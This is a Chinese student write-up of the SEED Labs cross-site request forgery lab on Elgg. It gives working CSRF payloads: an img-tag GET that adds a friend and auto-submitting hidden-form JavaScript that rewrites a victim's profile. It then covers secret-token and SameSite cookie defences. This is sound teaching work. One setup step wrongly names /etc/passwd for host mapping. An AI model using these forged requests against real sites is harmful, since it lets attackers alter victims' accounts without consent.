软件安全实验 SEEDlabs 跨站请求伪造攻击实验

环境设置

容器设置

起docker

1
2
3
4
5
6
7
8
9
10
11
12
[11/07/25]seed@VM:~/Desktop$ docker-compose up -d
...
[11/07/25]seed@VM:~/Desktop$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
6c2ab66e4b48 seed-image-mysql-csrf "docker-entrypoint.s…" 5 minutes ago Up 5 minutes 3306/tcp, 33060/tcp mysql-10.9.0.6
54e77615f136 seed-image-www-csrf "/bin/sh -c 'service…" 5 minutes ago Up 5 minutes elgg-10.9.0.5
97152b04c36e seed-image-attacker-csrf "/bin/sh -c 'service…" 5 minutes ago Up 5 minutes attacker-10.9.0.105
[11/07/25]seed@VM:~/Desktop$ docker exec -it 97152b04c36e /bin/bash
root@97152b04c36e:/# ls
bin dev home lib32 libx32 mnt proc run srv tmp var
boot etc lib lib64 media opt root sbin sys usr
root@97152b04c36e:/#

image-20251107162530912

配置网络

在本实验中,我们将使用三个网站。第一个网站是易受攻击的Elgg网站,可通过www.seed server.com 访问。第二个网站是攻击者用来对Elgg发动攻击的恶意站点,通过www.attacker32.com访 问。第三个网站用于防御实验任务,其主机名为www.example32.com。

1
2
3
4
5
sudo vim /etc/passwd

10.9.0.5 www.seed-server.com
10.9.0.5 www.example32.com
10.9.0.105 www.attacker32.com

image-20251107163545236

Task1:观察HTTP请求

在跨站请求伪造攻击中,我们需要伪造HTTP请求。因此,我们需要知道一个合法的HTTP请求是什 么样子的,以及它使用什么参数等。为此,我们可以使用一个名为”HTTP Header Live”的火狐浏览器插件。本任务的目标是熟悉这个工具。指导中给出了如何使用这个工具的说明(§5.1)。

请使用这个工具在 Elgg 中捕获一个HTTPGET请求和一个HTTPPOST请求。请在你的报告中指出这些请求中所使用的参数。

简单来说,就是用HTTP Header Live抓GET、POST包。

旧版本的firefox里的HTTP Header Live不能用了

default

这里下了一个新版本的Firefox,安装HTTP Header Live插件

随便在百度搜索,抓到一个GET包

image-20251107171328333

请求头如下

1
2
3
4
5
6
7
8
9
10
11
12
Host: sp3.baidu.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://www.baidu.com/
Connection: keep-alive
Cookie: BAIDUID=AEE928FD2429397AD0CC7B68394019CE:FG=1; BIDUPSID=AEE928FD2429397A7B2BED401E773BD8; PSTM=1762506163; H_PS_PSSID=60273_63142_65248_65361_65517_65619_65759_65779_65806_65858_65915_65928_65983_65962_65968_65988_65997_66055_66119_65866_66149_66225_66200_66235_66294_66339_66360_66324; BDORZ=B490B5EBF6F3CD402E515D22BCDA1598; H_WISE_SIDS=60273_63142_65248_65361_65619_65759_65779_65806_65858_65915_65928_65962_65968_65988_65997_66055_66119_65866_66149_66225_66200_66235_66294_66339_66360_66324; ab_sr=1.0.1_NjA3NjVkMmUzMjE3ZDM2MGY1NTQwMjA5NjhjMWM3MzU4NWE0ZDVhODAzYTM2ZTNlZjM3MjcxNGQ5NzAyYmYzMzg0ZTdjOWZiOTMyN2YxM2Q1NTdlZjRlNDFmZjlmYTBlODNhYWQ2ZTBlNWM3ZjQ4NTc4Mzk3NTk0ZDM1NDRiYjcwNWU5NThjOTJhZTExMTU4M2NmY2I5ZjBhZTMwOTkxNQ==; delPer=0; PSINO=1; BA_HECTOR=8g8l2g0k8h2104ak208005a50ka5301kgrdmc24
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-site

URL:

1
https://sp3.baidu.com/-0U_dTmfKgQFm2e88IuM_a/ps_fp.htm?pid=ps&fp=undefined&im=undefined&wf=undefined&br=3&qid=ce556fad00115dfa&bi=AEE928FD2429397AD0CC7B68394019CE:FG=1&psid=AEE928FD2429397A7B2BED401E773BD8

GET传递的参数就是

1
?pid=ps&fp=undefined&im=undefined&wf=undefined&br=3&qid=ce556fad00115dfa&bi=AEE928FD2429397AD0CC7B68394019CE:FG=1&psid=AEE928FD2429397A7B2BED401E773BD8

然后再某旅行网站搜索,抓到一个POST包

image-20251107171019158

请求头如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Host: apmfront.17u.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: text/plain;charset=UTF-8
Content-Length: 567
Origin: https://www.ly.com
Connection: keep-alive
Referer: https://www.ly.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

POST传递的参数为

1
{"res":"[{\"rt\":\"script\",\"rd\":868,\"ru\":\"https://hm.baidu.com/hm.js\",\"rs\":0},{\"rt\":\"img\",\"rd\":300,\"ru\":\"https://vstgif.17u.cn/__tctm.gif\",\"rs\":0},{\"rt\":\"img\",\"rd\":41,\"ru\":\"https://hm.baidu.com/hm.gif\",\"rs\":0}]","rid":"P0369a76TH2k50c6S45d1Wcc","sr":"1848x1089","rr":"https://www.baidu.com/","ak":"41d89d7189bf5514488a3b013a5554fb","pu":"https://www.ly.com/mergetrain/book1","pt":"11月08日青岛到火车_11月08日青岛到火车时刻表_11月08日青岛到列车时刻表_同程网","ptc":"https","ve":"1.0.7","st":1762506451046}

Task2:使用GET请求的CSRF攻击

在这个任务中,我们需要Elgg社交网络中的两个账户Alice和Samy。Samy想成为Alice的朋友,但 Alice 拒绝添加他为好友。Samy决定使用CSRF攻击来实现他的目标。他向Alice发送了一个URL(通过电子邮件或在发布在Elgg上)。Alice对这个网址很好奇,点击了这个网址,这就把她带到了Samy的网站www.attacker32.com。

假设你是Samy,描述你如何构建网页的内容,以便当Alice访问该网页时, Samy能够被添加到Alice的好友列表中(假设Alice有一个活跃的Elgg会话)。

为了添加受害者为好友,我们需要确定合法的添加好友HTTP请求(GET请求)内容是怎样的。可以 使用”HTTP Header Live”工具进行调查。在这个任务中,不允许编写JavaScript代码来发起CSRF攻击。 你的工作是在Alice访问网页时就使攻击成功,甚至不需要Alice在网页上进行任何点击。(提示:你可以 使用 img标签,这将自动触发一个HTTPGET请求)。

Elgg 已经实施了一项措施来防御CSRF攻击。在添加朋友的HTTP请求中,你可能注意到每个请求包 括两个看起来很奇怪的参数:__elgg_ts和__elgg_token,这些参数正是被防御措施所使用的。如果它 们没有被设定为正确的值,那么请求将不会被Elgg接受。我们已经禁用了本实验中的防御措施,所以你不需要在伪造的请求中包括这两个参数。

简单来说,就是我们(Samy)通过利用CSRF漏洞,让Alice不知不觉添加我们为好友。

首先登录我们(Samy)的账号:samy:seedsamy

image-20251107173325487

然后看一下添加好友是怎么实现的:

点进 Alice 主页,发现Add friend功能。那我们点击Add friend,同时别忘了用HTTP Header Live抓包

image-20251107173724781

抓到包之后,我们看一下

image-20251107174110201

我们(Samy)添加Alice为好友这一行为,实际就是发送了一个URL:

1
http://www.seed-server.com/action/friends/add?friend=56&__elgg_ts=1762508247&__elgg_token=hhSfLJgqJqES-IQJhkUfMQ&__elgg_ts=1762508247&__elgg_token=hhSfLJgqJqES-IQJhkUfMQ

题目描述提到:

我们已经禁用了本实验中的防御措施,所以你不需要在伪造的请求中包括这两个参数(__elgg_ts和__elgg_token)

所以这里我们就看这部分就可以了

1
http://www.seed-server.com/action/friends/add?friend=56

可以看到,加好友用的HTTP方法为 GET,传了一个参数?friend=56,并且发送到了/action/friends/add路由。

这里我们尝试理解一下,friend=56应该是Alice的用户ID,然后GET传递到/action/friends/add路由,添加ID为56的用户为好友,也就是添加Alice为好友

那想让Alice加我们的话,只需要找到我们(Samy)的用户ID,然后让Alice访问:http://www.seed-server.com/action/friends/add?friend=我们的用户ID

我们先找自己的用户ID:回到members

image-20251107175919464

F12在查看器里看源代码,发现用户ID是硬编码到html里了

image-20251107180054602

那我们自己的用户 id 为 59,所以Alice访问http://www.seed-server.com/action/friends/add?friend=59就可以加我们为好友

题目是想让我们构建www.attacker32.com网页的内容,从而让Alice访问该网页时添加我们为好友

提示:你可以使用 img标签,这将自动触发一个HTTP GET请求

img是一个HTML标签,用来在网页上插入图片。

就像写文章时会贴上一张照片,网页想显示图片时就写<img>这个标签,把图片的地址告诉它。

1
<img src="图片地址" alt="图片说明">
  • src(source):图片的地址,在网上或你电脑上的位置。
  • alt(alternative text):当图片无法显示时,用文字说明图片内容,或给视障人士阅读器用。

比如查看这个网站图片的源代码,

image-20251107181529903

会发现是一个img标签

1
<img src="http://www.seed-server.com/serve-file/e0/l1587929565/di/c0/RIFvmm_vS--I9Xb9mhiE_B0UtzlAC_Og-HwWQBq0A1c/1/59/profile/59small.jpg" alt="Samy" title="Samy">

其中src是指source,所以http://www.seed-server.com/serve-file/e0/l1587929565/di/c0/RIFvmm_vS--I9Xb9mhiE_B0UtzlAC_Og-HwWQBq0A1c/1/59/profile/59small.jpg就是这张图片资源的URL。

img标签有个好处就是加载页面的时候会自动加载,这样就能实现题目的要求:

你的工作是在Alice访问网页时就使攻击成功,甚至不需要Alice在网页上进行任何点击。

因为题目将宿主机上的目录Labsetup/attacker挂载到容 器内的/var/www/attacker,所以我们直接编辑Labsetup/attacker即可

修改Labsetup/attacker/addfriend.html:

image-20251107194403087

1
2
3
4
5
6
7
<html>
<body>
<h1>This page forges an HTTP GET request</h1>
<img src="http://www.seed-server.com/action/friends/add?friend=59" alt="image" width="1" height="1" />
<img src="http://www.seed-server.com/action/friends/add?friend=59">
</body>
</html>

然后我们用老版本的firefox登录Alice的账号,访问http://www.attacker32.com/,并点击`Add-Friend Attack`链接

这里新Firefox登录Samy,便于HTTP Header Live抓包;旧Firefox登录Alice账号,用以模拟Alice的行为。

image-20251107194655954

返回members,点进samy,刷新,会发现成功添加samy为好友

image-20251107195348053

这里有个问题,就是上面我们使用老版本firefox做的,为什么不用最新版做呢?

部分版本firefox其实是不能成功的,比如最新版,我们可以按F12看一下网络:

当我们进行请求时,会发现访问http://www.seed-server.com/的包被拦截了,而且是跳转到了/login路由,并非我们写的http://www.seed-server.com/action/friends/add?friend=59

image-20251107200855889

原理下面会提到

Task3:使用POST请求的CSRF攻击

在把自己加入Alice的朋友名单后,Samy想进行更多的攻击。他想让Alice在她的个人资料中写 上”Samyis myHero”,使得所有人都能够看到。当然,Alice不喜欢Samy,更不用说把这个声明写进她的个人资料中。Samy计划使用CSRF攻击来实现这一目标,也就是这个Task的目标。

攻击的一种方法是向Alice的Elgg账户发布一条信息,希望Alice会点击消息中的URL。这个URL会 把Alice 带到你(即Samy)的恶意网站www.attacker32.com,在那里你可以发起CSRF攻击。

你的攻击目标是修改受害者的个人资料。详细说来,攻击者需要伪造一个请求来修改Elgg的受害者 用户的资料信息。允许用户修改他们的个人资料是 Elgg的一个功能。而当用户想修改他们的个人资料 时,他们进入Elgg的个人资料页面,填写一个表单,然后提交该表单,发送一个POST请求到服务器端的 脚本/profile/edit.php,该脚本处理请求并进行个人资料修改

服务器端的脚本 edit.php同时接受GET和POST请求,所以你可以使用与Task1相同的技巧来实现 攻击。然而,这个任务中要求使用POST请求完成攻击。也就是说,当受害者正在访问他们的恶意网站时, 攻击者(你)需要从受害者的浏览器中伪造一个HTTPPOST请求。攻击者需要知道这种请求的结构。你 可以通过对个人资料进行一些修改,并使用”HTTP Header Live”工具监测请求的方式来观察请求的结构 (例如请求的参数等)。你可能会看到类似于下面的情况。与HTTPGET请求(将参数附加到URL字符串中) 不同的是,HTTPPOST请求的参数是包含在HTTP消息体中的(见两个符号之间的内容)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /action/profile/edit HTTP/1.1
Host: www.seed-server.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.seed-server.com/profile/elgguser1/edit
Cookie: Elgg=p0dci8baqrl4i2ipv2mio3po05
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 642

__elgg_token=fc98784a9fbd02b68682bbb0e75b428b
&__elgg_ts=1403464813
&name=elgguser1
&description=<p>I am elgguser1</p>
&accesslevel[description]=2
&briefdescription=I am elgguser1
&accesslevel[briefdescription]=2
&location=US
......

在了解了请求的结构后,你需要从你的攻击性网页上使用JavaScript代码生成请求。为了帮助你编写 这样一个JavaScript程序,我们在下面中提供了一个示例代码。你可以使用这个示例代码来构建你的恶意 网站从而进行CSRF攻击。这只是一个示例代码,你需要修改它来使其适用于你的攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">

function forge_POST() {
var fields = "";

// The following are form entries need to be filled out by attackers.
// The entries are made hidden, so the victim won't be able to see them.
fields += "<input type='hidden' name='name' value=''>";
fields += "<input type='hidden' name='briefdescription' value=''>";
fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
fields += "<input type='hidden' name='guid' value=''>";

// Create a <form> element.
var p = document.createElement("form");

// Construct the form
p.action = "http://www.example.com";
p.innerHTML = fields;
p.method = "POST";

// Append the form to the current page.
document.body.appendChild(p);

// Submit the form
p.submit();
}

// Invoke forge_POST() after the page is loaded.
window.onload = function() { forge_POST(); }
</script>
</body>
</html>

在行中,值2的含义是将一个字段的访问级别设置为public。如果没有设置这个值,则访问级别将 被默认设置为私有,那么其他人将无法看到这个字段。应该注意的是,当从PDF文件中复制和粘贴上述代码时,程序中的单引号字符可能会变成别的字符(但看起来仍然是单引号)。这将导致语法错误。将所 有的单引号符号替换为从键盘上输入的单引号符号就可以解决这些错误。

和任务三差不多,其实就是改用POST传参

首先我们看看修改个人资料是如何实现的:先找到修改个人资料的地方,修改后保存

image-20251107204516406

抓包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /action/profile/edit HTTP/1.1
Host: www.seed-server.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----geckoformboundaryc87837412b065894eb0679530056e825
Content-Length: 2900
Origin: http://www.seed-server.com
Connection: keep-alive
Referer: http://www.seed-server.com/profile/samy/edit
Cookie: Elgg=ae5tjk6hto0kk68rn5i53srapj
Upgrade-Insecure-Requests: 1

__elgg_token=k1jizUuM145x-zYmPx9uKw&__elgg_ts=1762518439&name=Samy&description=<p>111</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid=59

接口是/action/profile/edit,参数很多

然后我们补充上面攻击代码,实现攻击,其实补充下面几个部分就行

1
2
3
4
5
6
7
8
......
fields += "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='briefdescription' value='Samy is my hero'>";
fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
fields += "<input type='hidden' name='guid' value='56'>";
......
p.action = "http://www.seed-server.com/action/profile/edit";
......

编辑 editprofile.html即可

image-20251107205500834

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">

function forge_POST() {
var fields = "";

// The following are form entries need to be filled out by attackers.
// The entries are made hidden, so the victim won't be able to see them.
fields += "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='briefdescription' value='Samy is my hero'>";
fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
fields += "<input type='hidden' name='guid' value='56'>";

// Create a <form> element.
var p = document.createElement("form");

// Construct the form
p.action = "http://www.seed-server.com/action/profile/edit";
p.innerHTML = fields;
p.method = "POST";

// Append the form to the current page.
document.body.appendChild(p);

// Submit the form
p.submit();
}

// Invoke forge_POST() after the page is loaded.
window.onload = function() { forge_POST(); }
</script>
</body>
</html>

修改完之后,我们发送消息

image-20251107210511316

1
http://www.attacker32.com/editprofile.html

还是用旧Firefox登录Alice账号,查看消息,点击链接

image-20251107210816860

跳转,显示修改成功

image-20251107211002634

问题 除了详细描述你的攻击外,你还需要在实验报告中回答如下问题:

  • 问题1: 伪造的HTTP请求需要Alice的用户ID(guid)才能正常工作。如果Boby专门针对Alice做 攻击准备,他可以找到方法来获得Alice的用户ID。Boby不知道Alice的Elgg口令,所以他不能登录到Alice的账户来获取信息。请描述Boby如何解决这个问题。

    我们task2就已经解决了这个问题,用户ID是硬编码到html里

  • 问题2: 如果Boby想向任何访问他的恶意网页的人发动攻击。在这种情况下,他事先不知道谁在访 问该网页。那么他还能发动CSRF攻击来修改受害者的Elgg资料吗?请解释原因。

    不能,没有guid的话不能大规模攻击,只能针对性攻击

Task4:开启Elgg的防御措施

CSRF并不难防御。最初,大部分应用都在页面中嵌入了秘密令牌(secrettoken),通过确认请求中是 否包含秘密令牌,这些应用可以分辨一个请求是同站请求还是跨站请求。这个方法被称为秘密令牌方法。 再后来,大部分浏览器都实现了一种叫做同站cookie(SameSitecookie)的机制,目的是为了简化CSRF 防御方法的实现。我们将对这两种方式进行实验。

为了防御CSRF攻击,Web应用程序可以在其页面中嵌入一个秘密令牌。所有来自页面的请求必须携 带这个令牌,否则它们将被视为跨站请求,和同站请求所拥有的权限不同。攻击者将无法得到这个秘密令 牌,所以他们的请求很容易被识别为跨站请求。

Elgg 使用这种秘密令牌方法作为其内置的措施来防御CSRF攻击。我们已经禁用了这些防御措施,因 此之前攻击能够成功。Elgg在请求中嵌入了两个参数 __elgg_ts和 __elgg_token。这两个参数被添加 到POST请求的HTTP消息体,以及HTTPGET请求的URL字符串中。服务器在处理一个请求之前将会先 验证这两个字段。

在网页内嵌入秘密令牌和时间戳 Elgg在所有的HTTP请求中添加了秘密令牌和时间戳。以下HTML代码 将会出现在所有需要用户操作的表单中。这两个字段是隐藏字段;当表单被提交时,这两个隐藏的参数会 被添加到请求中。

1
2
<input type = "hidden" name = "__elgg_ts" value = "" />
<input type = "hidden" name = "__elgg_token" value = "" />

同时Elgg将秘密令牌和时间戳的值赋值给JavaScript变量,因此它们可以很容易地被同一页面上的 JavaScript 代码获得。

1
2
elgg.security.token.__elgg_ts;
elgg.security.token.__elgg_token;

秘密令牌和时间戳由 vendor/elgg/elgg/views/default/input/securitytoken.php 模块添加到 Elgg 的网页中。下面的代码片段显示了它们是如何被动态地添加到网页中。

1
2
3
4
$ts = time();
$token = elgg()->csrf->generateActionToken($ts);
echo elgg_view('input/hidden',['name' =>'__elgg_token', 'value' =>$token]);
echo elgg_view('input/hidden',['name' =>'__elgg_ts', 'value' =>$ts]);

秘密令牌生成Elgg的秘密令牌是一个哈希值(MD5信息摘要),这个哈希值是由该网站上的秘密值(从 数据库检索得到)、时间戳、用户会话ID和随机生成的会话字符串所共同生成。下面的代码显示了Elgg中 秘密令牌的生成过程(在vendor/elgg/elgg/engine/classes/Elgg/Security/Csrf.php中)。

秘密令牌验证elgg网络应用程序验证了生成的令牌和时间戳,以防御CSRF攻击。每个用户操作都会调 用Csrf.php中的validate函数,该函数的作用就是验证令牌。如果令牌不存在或无效,该用户操作将 被拒绝,且用户将被重定向。在我们的设置中,我们在这个函数的开头添加了一个return,因此该验证 程序被禁用。

1
2
3
4
5
6
publicfunctionvalidate(Request $request){
return; //Addedfor SEED Labs (disabling theCSRF countermeasure)
$token=$request->GETParam('__elgg_token');
$ts=$request->GETParam('__elgg_ts');
...(codeomitted) ...
}

Task:开启防御措施要打开防御措施,首先要进入Elgg容器的/var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security文件夹,从Csrf.php中删除return语句。你可以使用一个内置在容器中的简单编辑器,名为nano。在做了修改之后再次重复之前的攻击,看看你的攻击是否会成功。请指出捕获的HTTP请求中的秘密令牌,并解释为什么攻击者为什么不能在CSRF攻击中发送这些秘密令牌; 是什么阻止了他们从网页上发现秘密令牌?

应该注意的是(重要),当我们发起编辑资料攻击的时候,失败的尝试将导致攻击者的页面被重新加载。这将会再次触发伪造的POST请求,从而导致另一次失败的尝试,那么页面又将再次被重新加载,再 次触发伪造的POST请求。这种无休止的循环会拖慢你的计算机。因此,在验证了攻击失败后,你需要关 闭该标签以停止无休止的循环。

我们先用nano改代码,注释掉下面这句

1
return; // Added for SEED Labs (disabling the CSRF countermeasure)

image-20251107213859855

然后尝试攻击,两种攻击都失败

image-20251107214011585

image-20251107214054949

捕获一个HTTP POST请求,秘密令牌如图

image-20251107215143015

什么攻击者不能伪造合法的CSRF请求?

CSRF Token(秘密令牌)是随机且与会话绑定的。服务器每次生成的 __elgg_token 不一样,并且只对当前已登录的用户有效。

攻击者的网页无法获取受害者的 CSRF Token:

__elgg_token 只存在于受害者已登录的 session(通常只在用户的真正表单页面里、HTML 源码或 JS 变量中);跨站点脚本(CSRF攻击页面)未获得 victim 用户的 document 上的数据访问权限,无法读取页面里的 CSRF token。

是什么机制阻止了他们偷到受害者CSRF Token?

同源策略:攻击者页面的 JS 无法访问 victim domain 下的 cookie、页面内容等敏感数据;token只对特定用户/会话有效:即使攻击者POST时硬编码了一个token参数,该token必须和受害者session匹配,否则校验失败。

Task5:测试同站Cookie方法

大多数浏览器现在已经实现了一种叫做同站cookie的机制,这是一个与cookie相关联的属性。当发 出请求时,浏览器将检查cookie这个属性,并决定是否在跨站请求中附加这个cookie。当web应用程序 认为某个cookie不应该被附加到跨站请求中时,可以将cookie设置为同站cookie。例如,可以将会话ID cookie 标记为同站cookie,因此没有任何跨站请求可以使用该会话ID,从而将无法发起CSRF攻击。

为了帮助学生了解同站cookie如何抵御CSRF攻击,我们在一个容器上创建了名为www.example32. com 的网站。请访问以下网址(主机名已经在/etc/hosts文件中被映射到 10.9.0.5;如果不使用SEED 虚拟机,你应该在你的机器上添加这个映射)。

当访问该网站时,浏览器上会设置三个cookie,分别是:cookie-normal、cookie-lax和cookie-strict。 正如其名称所示,第一个cookie只是一个普通的cookie,第二个和第三个cookie是两种不同类型的同站 cookie(Lax 和 Strict)。我们设计了两组实验来观察当发送HTTP请求时,哪些cookie会被附加到服务 器上。通常情况下,属于服务器的所有cookie都将被附加到请求中,除了同站cookie。

请点击两个实验的链接。链接A指向 example32.com上的一个页面,而链接B则指向attacker32. com 上一个页面。两个页面都是相同的(除了背景颜色),并且它们都发送三种不同的请求到www. example32.com/showcookies.php,这个链接只是显示浏览器发送的cookies。通过观察显示的结果,你 可以知道哪些cookie会被浏览器发送。请完成以下要求:

  • 请描述你所看到的情况,并解释为什么在某些情况下不发送一些cookie。
  • 根据你的理解,请描述同站cookies如何帮助服务器检测一个请求是跨站还是同站请求。
  • 请描述你将如何使用同站cookie机制来帮助Elgg防御CSRF攻击。只需要描述思路,无需实现。

先点link A,这是same-site request

image-20251107215549779

发现有GET和POST两种传参方式

image-20251107215637262

其结果一致,这俩种传参方式的cookie-normal、cookie-lax和cookie-strict都传递,如下图:

image-20251107215720500

再点link A,这是cross-site request

也是GET和POST两种传参方式

GET传参:

cookie-normal和cookie-lax传递;cookie-strict不传递

image-20251107215829320

POST传参:

cookie-normal传递;cookie-lax和cookie-strict不传递

image-20251107215905951

  • Q1:

    • 同站(same-site)请求
      不论是 GET 还是 POST,所有 cookie(normal、lax、strict)都会随请求发送。

    • 跨站(cross-site)请求
      GET : 只发送 normal 和 lax,strict 不发送。

      POST: 只发送 normal,lax 和 strict 都不发送。

    **原因:**ameSite Cookie 策略控制了 cookie 的发送。SameSite=Strict只有完全同源(same-site)时才发送。跨站 GET/POST 都不会带;SameSite=Lax:跨站 GET(如点击普通链接、跳转)会带 cookie,但跨站 POST(如表单提交)不会带。这是浏览器的安全默认策略,防止 CSRF;SameSite=None 或无设置(即 normal):任何情况下都发送,但现代浏览器要求 None 必须配合 Secure 使用。

  • Q2:

    服务器可以通过是否收到特定类型的 cookie(尤其是 SameSite=Strict 或 Lax 的 cookie),判断请求是不是同站发起:

    • 如果服务器发现带着 strict 或 lax 的cookie,很大概率这个请求就是 same-site 产生。
    • 如果 cookie 丢失,特别是 only strict/lax 类型丢了,很可能是跨站点发起(比如其他网站诱导你向本网站发起请求)。
    • 结合 RefererOrigin 头部,服务器可以进一步判断请求来源,但 SameSite 机制更为直接和自动。
  • Q3:

    登录后,Elgg 可以设置一个 SameSite=Strict 或 SameSite=Lax 的 session 级 cookie,比如 ElggSessionID。对关键敏感操作(比如资料修改、加好友等 POST/PUT/DELETE),后端服务器检测请求时要求必须带上这个 SameSite Cookie。

    如果访问是 same-site,浏览器会自动带上 cookie,用户体验无感。如果是跨站 POST(即攻击者用隐藏表单从其他网站伪造请求),浏览器不会带上这个 SameSite Cookie,服务器可以检测到并拒绝处理——这就拦下了大多数CSRF。

    进一步提升安全性,可以双重防御:既检测CSRF token参数,也检测 SameSite Cookie 是否存在且匹配。


软件安全实验 SEEDlabs 跨站请求伪造攻击实验
http://example.com/2026/test38/
作者
sangnigege
发布于
2026年4月15日
许可协议